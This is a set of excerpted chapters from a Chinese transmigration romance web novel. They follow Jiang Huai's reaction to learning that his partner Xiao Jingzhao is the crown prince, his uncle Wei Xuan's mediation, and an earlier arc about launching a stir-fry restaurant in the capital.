一些朝政商讨完毕,其他官员都离开了,卫轩还没起身就先被萧靖昭喊住,其他官员以往都会羡慕卫轩被萧靖昭看重,可现在,感受到宫内的气氛,一些官员反而庆幸他们不用留下,不然再待下去真是要折寿了。
卫轩知道自己避不开了,如果是姜淮和萧靖昭的感情.事宜,萧靖昭也没有办法和谁说了。
只是卫轩并不太想掺和这事,感情太飘忽了,而且以萧靖昭如今的身份,他也不适合说什么,毕竟多说多错,当年皇帝的态度是如何,可后来卫家又是什么下场,卫轩能清晰感受到皇权的冰冷。
而今萧靖昭看似没什么变化,可之后会怎么样,谁也说不清。
“舅舅。”萧靖昭声音有些轻,还带着些脆弱。
卫轩一听这声称呼,心也没法硬起来了,尽管来京后他就告诫自己,萧靖昭恢复身份后,就不能像之前那般相处了,这些天也尽量恪守这个原则,可这么多年的感情,尤其是这五年的感情不是假的。
“淮儿知道我的身份了。”
卫轩猛地抬头,怎么回事,昨天不是还瞒得好好的,怎么会这么快就暴露。
尽管在萧靖昭开口前,卫轩已经有了一点猜测,毕竟姜淮和萧靖昭的感情很好,要说两人之间的感情隐患,身份是最大的隐患,可他也没想到,这个隐患这么快就爆发了。
“昨日回府,遇上了萧泽阳,被他喊破了身份。”萧靖昭解释了一句。
“那姜淮他……”卫轩犹豫道,虽然看萧靖昭这个态度就知道姜淮的反应肯定很大,可具体有多大还是要分析一下,万一只是因为萧靖昭太在意姜淮,姜淮的一点反映他也接受不了呢?
“他……”萧靖昭至今都不敢去回忆姜淮的一举一动,他以为自己会记不太清,可卫轩一问,姜淮乍听消息时的错愕,茫然,震惊,看向他的陌生,排斥,以及最后让他回去冷静的厌倦都在眼前浮现。
萧靖昭猛地咳嗽了一下,口中涌出些许腥甜。
对于武将来说,血腥气是无比熟悉的味道,卫轩没想到只是问一下就让萧靖昭做出这般反应,头皮发麻,准备去喊太医。
“舅舅,没事。”萧靖昭拦住了卫轩,他的身体他自己清楚,五年前被皇帝谋害那次就伤到了,而这五年里,虽然一边调养,可一边又要上战场,多少会留下一些暗伤,尤其是前段时间忙完了战事又要处理朝政,多少有些累着了,身体有点不适是很正常的。
现在也只不过是因为姜淮的事,让他有些压不住了。
“这都吐血还没事?”卫轩不理解。
“这么大张旗鼓地喊太医,万一被淮儿知道,他不知道具体情况,恐怕会担心。”萧靖昭说道,“更何况,还可能被他误会我在使苦肉计。”
太巧了,昨天还没什么事,今天就吐血喊太医,换成萧靖昭也会疑心怎么这么巧,尤其是他还有前科在。
“待会把平安脉的时候再看看。”萧靖昭补充道。
卫轩沉默,心情很是复杂,每次他以为自己已经足够了解萧靖昭对姜淮的感情,萧靖昭的行动就会超出他的预料。
看到萧靖昭这样,卫轩又忍不住想起自己之前的想法,每次他想把萧靖昭当成皇帝看待,可萧靖昭的行动就让他改变想法。
“你若是想和姜淮在一起,一定要好好保重身体,自古以来,皇帝钟爱谁,若对方一直不曾失宠,皇帝在时对方便平安喜乐,可若皇帝不在……”卫轩也只能这样劝说一下,萧靖昭的身体好,他和姜淮的感情才有保障啊。
“舅舅放心,我知晓。”萧靖昭应声。
第69章 第 69 章
萧靖昭将他和姜淮之前的事一五一十地说了出来, 卫轩越听心越沉。
他对姜淮也很了解,自然清楚姜淮这个表态意味着什么,姜淮不想维持这段感情了。
如果萧靖昭不是他外甥, 卫轩会非常支持姜淮的这个选择,毕竟伴君如伴虎,哪怕如今感情深, 可未来如何不得而知, 而和帝王越是亲近,若是感情转淡, 此时的情深在后面可能就成了错误。
除非就指着这条捷径来争名夺利, 不然还是远离比较安全, 而姜淮本身能力并不差, 哪怕是踏足官场也不需要走这条捷径, 走这条路反而会污了他的名声。
可萧靖昭偏偏是他外甥,卫轩没有办法完全站在姜淮那一边。
“你想怎么做?”卫轩全都听完了, 犹豫片刻问道。
萧靖昭沉默, 他也不知道该做什么。
明明之前想着若是姜淮知道了他的身份,若是想要离开, 他绝对不会放姜淮离开的,哪怕让姜淮厌恶他, 他也不能让姜淮离开。
可真到了这一天,他反而不敢这么做,现如今姜淮还只是厌倦,若他真这么做了, 姜淮到时候怕是要恨他吧。
只是想象姜淮看向他的眼神充满了厌恶仇恨, 萧靖昭就有些呼吸困难,只是这般的想象就让他承受不了, 萧靖昭不敢想象这一幕成真,他会是什么反应。
看萧靖昭半天没有出声,卫轩越发能感觉到萧靖昭对姜淮地在意,不是这么在意,怎么会对一点行动都如此犹豫。
这种在意让卫轩不自觉想起了卫姝,当年卫姝也是对皇帝如此上心,才不管不顾都要嫁给他,而后……
现在萧靖昭也走上了和卫姝相同的路,只是卫姝哪怕当了皇后,却也挡不住皇帝有新人,积郁成疾。可萧靖昭是皇帝,若是这段感情成不了,萧靖昭非要勉强,姜淮或许没有办法在其他地方伤害萧靖昭,可感情上的伤害却足够刺痛萧靖昭了。
卫轩越想越头大,早知道会这样,他当初在发现两人产生感情的时候,果断一些,不管是让两人就此松手,还是在姜淮面前戳穿萧靖昭的身份,虽说危险了些,但也好过现在这样。
那时候感情还不算深,哪怕分开,对萧靖昭的影响也不会太大,可现在,卫轩瞥了眼沉默不语的萧靖昭,清楚知道这段感情要真这么断了,怕是会成为萧靖昭一辈子的心魔,至于会引发什么恶果,卫轩都不敢想象。
卫轩绞尽脑汁地想主意,最终实在是没辙,只能说:“这样吧,我先去找姜淮,问问他介意的到底是什么,看看能不能对症下药。”
“舅舅,这次拜托你了。”萧靖昭如枯水潭般平静的眼睛终于有了一丝波动,紧盯着卫轩。
卫轩叹气,他也好想问问智囊团,可问题是,这是萧靖昭和姜淮的事,他知道也就罢了,若是透露给其他人,情况反而就更复杂了。
卫轩想让萧靖昭别抱太大的期待,他也就是去问问,姜淮能不能实话实说还是一回事,萧靖昭知道问题后能不能解决又是一回事,这八字还没一撇,萧靖昭对他就这么期待,让他压力巨大。
只是对上萧靖昭隐含忐忑的目光,卫轩只能点点头。
……
在萧靖昭那边开口,哪怕尴尬,可卫轩还是登门拜访,甚至为了避免姜淮避而不见,卫轩还特意让人确定姜淮在家,才找上门去。
毕竟萧靖昭的身份暴露了,那他现在的身份就不单纯的只是姜淮的好友,还是萧靖昭的舅舅,他这时候过去,明显情况不对。
而一进宅邸,卫轩就发现了不对劲,姜淮似乎是准备要搬家了,这可才刚刚搬进来,这就要搬走了吗?
“卫哥?”听到管家通传卫轩来了,姜淮有些惊讶。
“这行李是……是还没有收拾好吗?”卫轩指着下人收拾出来的行李,想要问姜淮是不是要搬走,可话到嘴边,又觉得不能这么说,立马改口。
“不是,是我打算搬走。”姜淮随口回道。
“是这宅邸有哪处不合你心意吗?”卫轩接话,“若是不喜欢,我还知道几处收拾好的宅子,你可以……”
“卫哥,你一开始就知道魏西的身份吧。”姜淮打断他的话,沉声问道。
卫轩无言以对。
“我和他之间的关系,你之前应该也看出来了。”姜淮说,“所以我为什么要搬走,卫哥你应该清楚原因。”
“何至于此呢?你们之间的感情如此之深,就为了身份……”卫轩艰难开口。
姜淮不自觉攥紧拳头,越是情深,就越是不能接受对方的隐瞒,尤其是感情建立在一种虚假的身份上,会让他感觉感情也是一场虚幻。
不过姜淮也清楚,他不说清楚,卫轩怕是会不停地过来劝说他。
况且,卫轩能来,姜淮清楚,肯定不只是卫轩一个人的想法,后面怕还有萧靖昭的示意,姜淮还是想说清楚原因,两人好聚好散。
就算萧靖昭在他面前表现的性格有假的,可原文中他看过的描述不会有假,多少能彰显出一点萧靖昭的性格,而对方能留下暴君的名号,脾性肯定不会太好,闹得太厉害,最后也难看。
毕竟之前五年里,他们从来没有红过脸,往昔回忆越是甜,越是不希望以丑陋的模样收场,这样回忆起来,依旧是一场美好的恋情。
意识到自己在想什么,姜淮愣了下,他都知道萧靖昭在原本的小说里是个什么形象,却只是担心闹到最后难堪,却不曾担心过自己的性命安危,脑子里还是坚信萧靖昭不会伤害他。
这算什么?
姜淮强自压下心中的波动,告知卫轩他的一些考虑,姜淮说得很是诚挚,他希望卫轩能够理解,可以感受他的真实想法,而传达给萧靖昭的时候,也能让对方了解他的心思。
“卫哥,就这样好聚好散吧。”姜淮一番话说完,都感觉心底的压抑没有那么多了,甚至有种身心松快的感觉,像是解决了一桩大事,透露出丝丝松快。
卫轩头大如斗,来之前他就从萧靖昭的叙述中了解到了点姜淮的心思,可他没想到,姜淮开解自己居然开解得这么快,哪怕心中有对萧靖昭的感情,可居然能控制住,甚至想放下了。
如果他不是来当说客的,怕是都要钦佩姜淮的这种心态,更别说姜淮还说得如此透彻,让人觉得这是一场带着无法弥补的遗憾的爱情。
若这是个故事,想必这就是结局了,可卫轩太清楚萧靖昭的性格,萧靖昭不可能接受这个结局,如果真就暂时以这种状态收尾,那后面必然有一场巨变。
“除了这些,你还有什么介意的?”卫轩不肯死心,继续问道。
姜淮现在提出的问题,他暂时想不到解决办法,可若姜淮还有别的介意的问题,说不定可以拖延一二,在姜淮的心墙上打个洞。
姜淮不知道卫轩的心思,只当他是不死心,皱眉想了想道:“更何况萧靖昭如今是太子,之后便是皇帝,若是和我在一起,我绝不会允许他有除我之外的任何人,不论男女,也不会接受他有子嗣在,这样,怕是更加不合适吧。”
毕竟他们要是普通人,哪怕在一起没有子嗣,顶天就是家中长辈絮叨,影响也不大,可萧靖昭那是真有皇位要传下去的,若是不娶妃嫔诞下子嗣,其他人难道会坐视不管。
卫轩一阵牙痛,姜淮的这个问题让也不知道怎么回答了,自古以来的皇帝,哪怕好男风,可也没有说不留子嗣的。
卫轩感觉他得到的两个问题,哪个问题都不好解决,而且就看姜淮这个态度,后面这个问题也是没得商量的。
可萧靖昭会是什么态度呢?
卫轩想到萧靖昭面对姜淮的一举一动,忽然感觉这个问题可能不是问题。
因为卫轩想起一桩事,以往在宫中,萧靖昭就不近女色,当然,男色也是没有的,而到安远府,每日除了军中,府衙,议事,上战场,基本就是和姜淮在一起,女色更不可能存在了。
以姜淮现在的这个态度,萧靖昭要是近女色了,他们的感情也不可能发展到这一步,所以弱水三千只取一瓢这件事放在其他皇帝身上会显得很离谱,但是萧靖昭为了姜淮做的离谱行为太多了,真只要姜淮,彻底摒弃其他人,也不是没有这个可能。
所以他是现在先回去和萧靖昭说,得到确定的回答再来和姜淮说,还是现在就先说出他的猜测。
身为人臣,并不适合在没有得到君主示意的前提下开口,还是这种要紧的事,可萧靖昭不光是君主,还是他外甥,卫轩犹豫了下,还是开口:“不论是不亲近其他人,或是不留下子嗣,他不一定就做不到。”
“你若是愿意等等,我即刻进宫问他,你就先别搬走了。”卫轩说道,萧靖昭此时的精神状态依旧不太平稳,姜淮搬走虽然不一定会刺激他做出什么行动,可还是不刺激最好。
卫轩有些忐忑,不知道姜淮能不能接受他的这个提议。
姜淮心情复杂,理智告诉他后面这个理由只是借口,不管卫轩怎么说,他也不该动摇,毕竟他和萧靖昭的问题并不是这个,可口中却还是说出了一个好。
得到了姜淮的准确回复,卫轩大喜过望,赶紧让其他人先别收拾行李了,然后匆匆离去。
第70章 第 70 章
“他, 说了什么?”得知卫轩匆匆进宫,萧靖昭顿时紧张起来。
卫轩没说话,直接将一个册子递给萧靖昭, 这上面写着他和姜淮的全部对话,以及姜淮的表情变化,行动, 这是卫轩出了姜府后赶紧写出来的, 就怕自己后面忘记了一些细节。
卫轩觉得如果他只是将对话复述一遍,萧靖昭说不定不能完全领会姜淮的意思, 毕竟他对姜淮的了解肯定不如萧靖昭, 要是引得萧靖昭产生误会, 那麻烦就大了。
萧靖昭翻开册子看了看, 就明白了卫轩的用意, 沉默半晌道了声谢。
卫轩有些受宠若惊,看萧靖昭的注意力全在小册子上, 也不打扰他了, 直接退下。
这事他也只能参与到这了,再之后, 除非说还有他能帮上忙的地方,不然就只需要在一旁旁观就行。
卫轩的文采并不算多好, 但有一个特点,写得很真实,哪怕只是文字,却让萧靖昭像是亲眼看到姜淮是如何表态的。
……
被卫轩拦着收拾行李, 虽然姜淮可以不在意卫轩的要求, 直接收拾好走人,可不知道是出于什么心理, 姜淮也选择了暂缓离去的意愿。
只不过提前收拾好的行李也没有再放回原位,而是收拾成什么样,就先暂时放着,最后是留是走都方便。
跟在姜淮身边的人还不知道萧靖昭的身份,但是也能看出两人是闹了矛盾,不然怎么会才搬过来就走了,以至于没有了搬家弄出的动静,姜府上下都格外安静。
傍晚,后厨做好饭菜送上来。
姜淮看着送上来的饭菜,不自觉皱了皱眉,这饭菜太多了,他一个人根本吃不完,除非是两个……
姜淮僵住,后厨备菜一般是按照习惯来备的,之所以会送上这么多菜,或许是觉得萧靖昭还会来用饭,毕竟他们哪怕闹了矛盾,可萧靖昭也不是不可能再回来用饭。
是他没有提前叮嘱一声。
姜淮揉了揉眉心,沉默地端起碗筷吃饭。
姜淮自觉已经调整好了心情,这一个白天都没有怎么好好吃,明明饭点前还觉得饥饿难耐,可等一个人真的吃上饭菜,姜淮没有吃上几口就感觉饱了,再扫一眼桌上的饭菜,看着就像是没有动过似的。
“吃饭还是要人多才有胃口啊!”姜淮自嘲了一句。
只是人是铁,饭是钢,他昨天因为萧靖昭的事就没有吃好,今天的两顿饭吃得也不太好,晚上这顿要是再不好好吃,姜淮怀疑晚上就会有反应了。
感情受伤已经对心灵造成了重大打击,要是再导致身体也受到伤害,姜淮觉得自己这样也太矫情了点,也是对自己身体的不负责。
一口气吃不下太多,那就拉长时间,吃地再慢也能吃进足够的分量,唯一的问题就是这天冷了,菜也冷得快。
为了避免吃冷菜导致身体更不舒服,姜淮干脆撤了这一桌的饭菜,让后厨准备好锅炉,各种切好的食材,直接吃火锅。
一顿火锅吃得酣畅淋漓,尽管只有一个人吃,但是食材准备的齐全,又都是姜淮最喜欢的锅底和蘸料,姜淮渐渐也将心事抛却,完全沉浸在美食的美好之中。
姜淮边吃边想,看来他刚才食欲不振,可能不只是因为受到情绪的波动影响,也可能是不太乐意吃普通饭菜了,现在吃火锅,这不是吃得很起劲。
吃火锅自然是要吃辣的,不过姜淮哪怕吃了这么久的辣,可身体依旧受不住太多的辣,因此还是需要喝点别的解辣。
而姜淮解辣的工具就是甜酒酿,这些甜酒酿还是在路上刚酿好的,喝起来甜滋滋的,姜淮很是喜欢,只是这放了几天,甜味依旧充足,只是酒劲也在。
多喝了几碗后,姜淮就发觉了不妙,这次的甜酒似乎有点过头了。
好在他也吃得差不多了,姜淮让人收拾了吃火锅的残局,径直回屋内休息。
屋内的摆设依旧,并没有收拾起来,因为这些东西并不是姜淮带来的行李,只不过这些摆设和在安远府时,姜淮卧房内的摆设一样,姜淮昨日刚进来时一看,就感觉萧靖昭太有心了。
只是知道萧靖昭的身份后,这份心意在姜淮眼中就有些难以言喻的味道了。
不过也因为布置太熟悉了,哪怕姜淮有些醉酒迷糊走进来,依旧毫无阻碍,顺畅的就在床榻边坐下,虽然有些醉了,但是这刚刚吃完饭,姜淮还不想直接躺下休息。
明明不是很冷的天气,却早早地烧了火墙,以至于屋内都有些闷热。
姜淮不知道坐了多久,终于坐得有些困了,准备去睡一会儿,只是躺下后盖上被子总觉得哪里不对劲,过了好一会才反应过来,迷茫地眨了眨眼睛,他身上还穿着厚实的外袍呢,这么直接躺下怎么可能舒服。
姜淮烦躁地揪着领口往外扒拉,想要解扣子脱衣服,只是扒拉了好一会,姜淮感觉不对劲,这扣子好像没有摸到,莫非他穿的是有拉链的棉衣。
刚进屋的时候姜淮醉的还不是那么厉害,这么坐着缓了一会后,加上屋内的热气一熏,人是彻底醉的脑子发蒙了,甚至都忘了穿越的事。
哪怕穿越了快五年,可这五年的时光还是抵不过现代的二十年时光,而醉后,姜淮下意识的就以为自己还在现代。
“这什么破衣服,这么难脱。”姜淮小声嘀咕着,一边费力地撕扯,只是靠着姜淮手上的力气,想要将外袍撕扯开,难度还是很高的,姜淮折腾了一番,除了折腾出一身汗,让身上更加难受之外,硬是没能将外袍脱下。
就在姜淮焦躁不安之际,一只手轻巧地将他的外衣解开,姜淮一用力就将外袍扒拉了下来,因为太过轻巧,以至于脱掉后,姜淮还没有发现,过了好一会才意识到衣服脱掉了。
姜淮完全忽视了那只帮忙的手,或者在他的意识中,那只手就是他自己的手,至于人怎么会有三只手,他不管。
有一只手帮忙,姜淮接下来的行动就顺畅多了,很快就将衣服脱到只剩下里衣了,哪怕屋内烧了火墙,可一下子脱了这么多衣服,姜淮还是有点冷,赶紧扒拉着被子盖住身体。
不过,他的手好像还放在外面呢?
这么冷的天气,放外面会着凉的,万一感冒发烧,又得吃药打针。
一想到吃药的苦和打针的痛,姜淮皱了皱眉,想要让手回到被子里暖和一下,只是这只手似乎不太听话,不管他脑子怎么想着缩回被窝,依旧在外面不肯回去。
“听话。”姜淮一把拽住手,准备塞进被窝,只是这手一点也不老实,还想从他手里挣脱出去,忍不住嘟囔道。
而听到他这话,手顿时不动了,姜淮这才满意的拍了拍手,只不过这一拽,姜淮才注意到,这只手连接的还有一个人。
姜淮迷迷糊糊的睁大眼睛,看清楚了来人的长相,古典禁欲系大美人,眉眼轻垂,自带一股忧郁气质,一下击中了姜淮的心。
姜淮在大学看过不少的古装coser,电视电影也看过一些古装人物,但是没有谁的气质比眼前人更加的复古,活脱脱就是从古画中走出来的美人。
萧靖昭并不是有意要跟着姜淮进屋,甚至帮姜淮脱衣服的。
他看完卫轩的记录后,前者他暂时也不知道要如何解决,但是姜淮后面的顾虑,他可以给出一个肯定的回答来,而要让卫轩去说的话,萧靖昭觉得不够诚.心,所以就亲自来见姜淮。
只是他一来就发现姜淮正在用饭,而昨天因为他,姜淮食不下咽的表现萧靖昭都看在眼里,自然也不想让姜淮又因为他而吃不下,就在外面等着。
只是这一等,姜淮也没有好好吃饭,还开始吃火锅,耽搁的时间就更长了。
而等姜淮吃完火锅,根本没给他开口的机会,就直接回房休息了,萧靖昭想着要不然明天再来,但是又觉得等明天更加显得没有诚意,就跟了过来。
姜淮喝醉了的事,如果不是凑近了看,根本没有人发现,等萧靖昭准备和姜淮开诚布公地谈一谈,看到了姜淮脱衣服都不利索的动作,这才发现姜淮是喝醉了。
这下,萧靖昭也知道他今天大概是没有机会开口,帮姜淮脱完衣服,萧靖昭看了一会姜淮就准备走了,哪怕他很想留下来,可他也知道这么做只会让姜淮更加反感他,甚至他还要希望姜淮酒醒之后没有发现这事,不然姜淮怕是更会觉得他烦人。
只是这么多的考虑,在姜淮抓住他,让他听话后,萧靖昭就再也反抗不了,只能乖乖地被姜淮拽着,在床榻边坐下。
对上姜淮看向他惊艳的目光,萧靖昭忽地想起他先前就意识到的一件事,姜淮是真的很喜欢他的这张脸。
萧靖昭有了一瞬间的心动,姜淮喝醉了,如果他可以趁着这个机会诱惑姜淮,那……
只是很快,萧靖昭就将这丝心动给彻底压住了,他不可能这么做,以姜淮的性格,如果他真的这么做了,才是将他们的感情彻底推向深渊。
50-60
第51章 第 51 章
姜淮将陈回的事说了出来, 顺便还将自己的顾虑和盘托出,反正先祖托梦的事他都和萧靖昭说了,对方知道也没什么。
萧靖昭眼眸微垂, 显出了十二分的认真,认真地听着姜淮的苦恼。
姜淮说完,长出一口气, 感觉心里的担子轻了些, 事憋在心里的时候,负担有点大, 而找人倾诉一番就好多了。
不过说到这个, 姜淮有点好奇地问萧靖昭:“你有没有见过疑似太子殿下的人啊?”
姜淮对太子还是挺好奇的, 按理说太子在安远府, 应该就在卫轩身边, 可他都没有见过疑似太子的人,不知道是对方隐藏得太深, 还是他看人的本事太差了, 但是萧靖昭在军营里,见到的人肯定比他多, 说不定见过太子。
萧靖昭没想到姜淮脑子一转,就想到这方面去了, 看着姜淮满眼的好奇猜测,唇角有些控制不住地往上翘,清了清嗓子摇头道:“没,我在卫将军身边没看到什么可疑的人。”
“可能还是藏得比较深吧。”姜淮说道, 忽然想起来什么, 叮嘱萧靖昭,“虽然我和你这么说了, 但是你也千万别特意去找啊,万一被人发现踪迹,你有危险,太子也有危险,就当不知道这事。”
虽说萧靖昭如今和卫轩也亲近,可这件事,姜淮都不敢让卫轩知道自己了解内情,要是萧靖昭刻意寻找太子被卫轩发现,姜淮不知道卫轩会做出什么选择,还是不要去考验人性。
更何况,萧靖昭刻意去找太子的话,如果只是被卫轩注意到都还好,要是被皇帝发现,然后猜测到太子的存在,那才是真正的危险。
因为卫轩发现的话,结果再差也不至于丢掉性命,可要是皇帝发现,萧靖昭怕是会被抓住严刑拷打,试图问出太子的下落,到时候丢命的可能性极大。
“你很在意太子吗?”萧靖昭盯着姜淮。
“毕竟关乎五年,不对,是四年后的平反,怎么可能不在意。”姜淮单手托腮,眨巴眨巴眼睛回道,“你不在意吗?”
萧靖昭手指轻颤,捏紧指腹,低声道:“自然在意。”
“太子的安危可是关乎我们的未来,所以一定要小心,你之后千万别暴露自己知道这事。”姜淮小心叮嘱道,生怕萧靖昭说错了话。
他和萧靖昭说的借口,对方相信,可卫轩不一定会相信,太子更难相信,毕竟就太子遭遇的事情,姜淮代入一下,在遭遇这一系列事情后,谁说自己是先祖托梦,然后知道他的谋划,他只会觉得对方有阴谋。
就算看在姜家的面子上不杀他,那这五年也肯定是要被监禁起来,想做什么都做不了,更别提像现在这般自在了。
姜淮特意说得严重一点,看萧靖昭听得面色沉凝,担心又吓到他,赶紧又往回找补了点。
“不过也不至于这么严重,太子殿下宽和待人,就算监禁我,也不会让我太难过,顶多就是不能经商,不能接触生人。”姜淮说着都感觉有点心虚,要说以前的太子宽和温柔,那是可能的,可经历变故后的太子,原文中可是称对方为暴戾之君的,就算现在还不是完全体,性格也不会好到哪里去吧。
他在姜淮眼中到底是什么样子的?
萧靖昭忽然有些好奇,只是今天提起太子的话已经说得够多了,再说下去,姜淮或许会起疑心了,萧靖昭垂眸,装作被姜淮说服了的样子。
和萧靖昭闲聊一阵,姜淮思前想后,猛地发现自己思考上的盲点,他都能知道开个酒楼好打听消息,难道卫轩听到他说开酒楼的消息后,还会想不到这一点吗?
他只要将这件事和卫轩一说就是了,如果对方有这个心,自然会隐晦地提出来,到时候他只要当作什么都不知道,一切按照卫轩的安排做下去就是了,万一卫轩没有这个想法,他也可以选择开或者不开酒楼,反正决定权在自己手上。
想好后,姜淮也不耽误时间,直接去了卫府,将酒楼扩张的事一说。
而事情发展果然不出姜淮所料,在得知姜淮犹豫要不要去外地,或者说京都开酒楼后,卫轩神情微变,显然也意识到这件事可以带来的好处。
安远府离京都有些远,这固然让安远府可以暗暗发展,可也让他们很难收到京都的消息,就算是安排了专门的人手收集消息,可现在也只能收到一些最普通的消息,更多的消息就没有渠道了。
萧靖昭以前倒是有些收集消息的渠道,可现在都不敢启动,就怕早就被人盯上了,要是因为启动这些人导致萧靖昭的踪迹被皇帝发现,那就得不偿失,这就需要他们组建新的消息渠道。
只不过,组建新的消息渠道并不容易,而姜淮这次提出的新酒楼,则是让卫轩发现了一个新方法。
酒楼这地方足够嘈杂,有些人谈事喜欢去青.楼,去茶馆,而酒楼也是个常去的地方,只是酒楼想要能吸引足够多的食客有些难,更别说京都酒楼竞争有多大,卫轩之前完全没有想过这事,因为他知道他们开的酒楼定然竞争不过。
可现在似乎也不是真的竞争不过。
将事从姜淮手中揽下,卫轩没有直接行动,而是去找萧靖昭,事关重大,他必须先去问问萧靖昭,和对方商量要怎么办。
萧靖昭早就知道这事,在姜淮找卫轩之前就想好了要怎么安排,卫轩一来,刚开口说完,还没问萧靖昭要怎么办,就得到了一份开酒楼的规划。
“你早知道这事了?”卫轩脱口而出,“我忘了,你和淮哥儿住一起,这事你比我早知道。”
卫轩这边安排好了,姜淮这边就将答复传给了陈回,当然,考虑到这个酒楼的目的不太单纯,最后并不是以姜淮出面,姜淮在暗处,而他后面还有卫轩和萧靖昭,但是明面上,是这些酒楼会做炒菜后,野心勃勃地向京都进发,想要让炒菜成为整个大周最受欢迎的菜色。
虽然这么说有点嚣张,但这也是达到炒菜冲进京都,一鸣惊人的最快方式。
几个炒菜手艺最好的庖厨被挑了出来,然后各家酒楼出人出力,每人占了些分红的份额,就在卫轩的安排下,带着人出发了。
……
京都的百姓最近有些不太快乐。
在他们看来,京都向来是最繁华热闹,有什么新东西必然是在京都出现,一些不太流行的东西在外地还要被人当成宝贝一般看待,从来只有他们快人一步,没有别人快他们一步的。
可现在,这个情况似乎颠倒了过来。
毛衣是从外地传来的,后来毛线和毛衣织法传过来,这也就罢了,雪花盐也是外地来的,尽管大部分的雪花盐都是被京都给瓜分了,可在他们之前,一些当地的士绅还是先他们一步吃上了雪花盐。
结果现在,外地又传来了什么炒菜,说是要压其他菜肴一头,色香味俱全,这让不少食客觉得对方夸大其词的同时,又有点好奇。
京都的百姓还等着有人出面反驳呢,毕竟这天下要讲究吃食的,还能有人比京都的厨子更讲究的吗?
然而各家厨子过去吃了,常驻的老饕食客也去吃了,原本骂骂咧咧的话也不说了,虽然嘴里说着各有千秋,但是不骂不挑刺就已经是输了啊。
有心人注意到了,一些世家子弟原本常去一些酒楼用饭,可如今也不怎么去了,常去的酒楼换成了那家长丰楼,甚至因为抢位置起了冲突,这已经足以表明情况了。
而一些官员原本是习惯在其他地方谈话的,可如今也慢慢换到长丰楼来,没办法,长丰楼的饭菜味道确实好,虽然他们主要目的是交谈,但是也不能为了交谈亏着嘴巴。
最主要是请客的那一方下意识就会挑选京都最好的酒楼,这样更能显出面子来,而如今长丰楼就是京都最红火的酒楼,甚至一位难求,而越是这样,一些请客的官员就越喜欢将酒席设在这种地方,只有这样,才能证明自己的心意。
对于长丰楼的经营情况,安远府那边的消息有些慢,毕竟这一来一回的,就算是起码,也差不多要半个多月。
不过姜淮倒是不担心长丰楼的经营情况如何,他本来就对炒菜很有信心,而安远府的酒楼更是直接展示了一下炒菜对于这个时代人的杀伤力,而京都的酒楼……
姜淮记忆里还去吃过几次,要说味道,和安远府的酒楼比起来是好吃些,做法也更精致一些,但是依旧超不出时代的限制,做法无外乎就是煎炸蒸煮烤,好吃归好吃,可也容易吃腻味了。
炒菜不说别的,就一个菜色新鲜,就足够有冲击力了,最主要的是,姜淮还回忆了一些菜谱,又稍微调整了一下长丰楼的菜色,姜淮自我感觉应该可以对京都的酒楼造成一波巨大的打击。
其他人相信姜淮归相信,可没有得到具体消息前,还是有些忐忑的,好在,消息很快就传回来了。
第52章 第 52 章
陈回兴冲冲地到姜府报喜, 其实长丰楼在京都发展再好,陈回赚的也并不多,可他还是与有荣焉, 以前只有他们学京都那边的菜式,现在总算是轮到他们安远府引领风潮。
姜淮对这个早有准备,不过看陈回这么高兴, 也没有扫兴, 跟着问了几句。
等陈回从消息中冷静下来,意识到这件事中功劳最大的就是姜淮, 对方还没有说什么, 他就先得意高兴起来, 着实不应该。
只是心中实在高兴, 等陈回从姜淮这边离开, 很快就和其他酒楼商量好了,然后将这个消息宣扬开来。
陈回他们倒是没有别的想法, 就是单纯觉得只是自己知道还不够快乐, 毕竟这也算另类的衣锦还乡,不宣扬一下岂不是衣锦夜行。
安远府的百姓对于炒菜有印象, 毕竟这么多来来往往的客商都选择吃炒菜,在他们看来, 和其他菜品比起来,这新的炒菜肯定是好吃的,但除了这个印象,要说这炒菜有多么的高端, 百姓倒是不觉得, 因为这也就是一道菜罢了。
直到陈回他们将京都长丰楼的盛况宣传开,百姓们才意识到, 原来这炒菜是可以和毛衣、雪花盐相提并论的稀罕东西,是可以给安远府长脸。
一下子,安远府的酒楼再次迎来了一波新客,这些新客都是兜里有点银子,不能常来酒楼,但是偶尔奢侈一顿没问题,只是以前不舍得将银钱花在炒菜上,可现在,炒菜的名气一下子大了这么多,他们就算舍不得,也耐不住好奇心。
更何况越是兜里银钱不多,不少人平时越是讲究面子,人人都开始谈论炒菜,有人问起他们,他们却回答不出炒菜的味道,这就有些丢面子了,哪怕为了面子,也得来酒楼吃上一顿啊。
而除了这些客人,安远府还迎来了一波外地的客人,以往的外地客人都是行商,可来可不来的,而这些来的客人则是完全冲着炒菜来的。
炒菜的消息也传到那边去了,原本只是从安远府传消息时,有人心动,但更多人都觉得是安远府地处偏远,所以有点创新就大惊小怪的,不值一提,可这次消息是从京都传开的,京都人都喜欢,那他们自然也要尝尝看了。
只是从他们那边去京都就远了,路上还不知道要走多久,但是去安远府一趟就轻松多了,虽说安远府是边关,可卫轩之前带回来的战果让这些人觉得安远府还算安全,于是纷纷赶来。
这些人一来,吃喝玩乐都是要花钱的,有些人吃得满意了,甚至恨不得带个厨子走。
只是其他酒楼的厨子都不够,哪里可能让食客带个厨子走,有些食客就算在家乡有权有势,可到了安远府也不敢逼迫太甚,卫轩的存在还是让他们忌惮的。
……
时光荏苒,眨眼飞逝。
从睡梦中醒来,姜淮懒洋洋地打了个哈欠,赖在床上不愿意起来。
安远府的冬天是越来越冷了,明明算下来,也才过去了三年的样子,气温却越降越低,明明去年,在中秋前都还不算太冷,温度也是慢慢降下去的,可今年,连过中秋都有些冷了。
感受身下暖烘烘的火炕,姜淮感觉自己被封印在被窝里,挣扎着试探性地从被窝里伸出一根手指。感受到被窝外的冷空气,姜淮手指抖了抖,慢慢缩回被子,顺便抓着被子压了压被角,避免冷风灌进温暖的被窝。
‘吱呀’声响起,房门从外被人推开,寒风裹着冰雪吹进屋内,好在来人很快就将门关上了。
高大的身影一步步地走近,姜淮一点不慌,因为光听着熟悉的脚步声,他就知道是萧靖昭来了。
“不是说想吃叉烧包、奶黄包,后厨做好了。”略微低沉的男声响起。
姜淮从被窝里探出头,看到萧靖昭的脸,哪怕已经看习惯了,可还是不自觉地愣了一下。
或许是在军中待久了,尤其是这几年萧靖昭还上阵杀敌,军功卓著,和三年前比,萧靖昭脸上的柔和已经消失得差不多了,在萧靖昭手下战战兢兢的属下绝对想不到对方三年前的样子。
而今的萧靖昭,眉弓高挺,眼眸冷硬,冷着一张脸时气势逼人,哪怕是早早入府的方庖厨,这几年也不敢在萧靖昭面前放松了。
